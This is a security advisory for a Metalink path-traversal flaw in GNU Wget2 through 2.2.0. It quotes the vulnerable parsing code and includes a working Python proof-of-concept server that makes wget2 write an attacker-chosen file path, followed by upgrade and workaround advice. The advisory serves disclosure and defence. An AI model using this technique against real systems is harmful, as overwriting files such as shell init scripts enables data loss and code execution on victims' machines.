On this page
CVE-2025-69194
GNU Wget2 through 2.2.0 is vulnerable to arbitrary file write/overwrite via Metalink filename path traversal. This issue is fixed in release 2.2.1.
Vulnerability
In affected versions, libwget parses Metalink filenames (<file name="...">)
without sanitization. The name attribute is copied verbatim, e.g.:
if (!ctx->metalink->name && !wget_strcasecmp_ascii(attr, "name")) {
ctx->metalink->name = wget_strdup(value);
}
Later, wget2 uses that value directly as an output path for file operations, e.g.:
ctx->outfd = open(ctx->job->metalink->name,
O_WRONLY | O_CREAT | O_NONBLOCK
| O_BINARY, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
As a result, a Metalink name like ../pwned.txt or an absolute path can be
treated as a literal filesystem path, allowing traversal outside the intended
download directory.
This violates RFC 5854’s security requirements for the name attribute, which forbid directory traversal and require relative, non-traversing paths.
Impact
Using Wget2 to download files from malicious servers can result in processing a crafted Metalink document, leading to file creation/overwrite at an attacker-chosen path writable by the user.
This can lead to:
- Data loss
- Persistence or code execution in realistic setups by overwriting shell init files, application config, or other files later interpreted/executed by the user
Proof of Concept
The following is a HTTP server, serving a malicious Metalink document at the /ml endpoint.
import hashlib
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
HOST, PORT = "127.0.0.1", 8000
NAME = "/tmp/hi-there.txt"
PAYLOAD = b"METALINK_POC_PAYLOAD\n"
def h(b): return hashlib.sha256(b).hexdigest()
class H(BaseHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, *a): pass
def do_GET(self):
if self.path.startswith("/ml"):
self.send_response(200)
self.send_header("Content-Type", "application/metalink4+xml; charset=utf-8")
self.send_header("Content-Length", str(len(self.server.ml)))
self.end_headers()
self.wfile.write(self.server.ml)
return
if self.path.startswith("/payload"):
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", str(len(self.server.payload)))
self.end_headers()
self.wfile.write(self.server.payload)
return
self.send_response(404)
self.send_header("Content-Length", "0")
self.end_headers()
def main():
base = f"http://{HOST}:{PORT}"
ml = (f'<?xml version="1.0" encoding="UTF-8"?>\n'
f'<metalink xmlns="urn:ietf:params:xml:ns:metalink">\n'
f' <file name="{NAME}">\n'
f' <size>{len(PAYLOAD)}</size>\n'
f' <hash type="sha-256">{h(PAYLOAD)}</hash>\n'
f' <pieces length="{len(PAYLOAD)}" type="sha-256">\n'
f' <hash>{h(PAYLOAD)}</hash>\n'
f' </pieces>\n'
f' <url priority="1">{base}/payload</url>\n'
f' </file>\n'
f'</metalink>\n').encode()
srv = ThreadingHTTPServer((HOST, PORT), H)
srv.payload = PAYLOAD
srv.ml = ml
print(f"[+] Metalink: {base}/ml (file name={NAME!r})")
srv.serve_forever()
if __name__ == "__main__":
main()
Running wget2 http://localhost:8000/ml will download the contents of the PAYLOAD variable to the filename specified in the NAME variable.
Mitigations
- Upgrade: Update to GNU Wget2 2.2.1 or later, which includes a fix for the Metalink file overwrite issue.
- Workaround: Disable Metalink processing (negate the default
--metalinkoption) with:wget2 --no-metalink <url>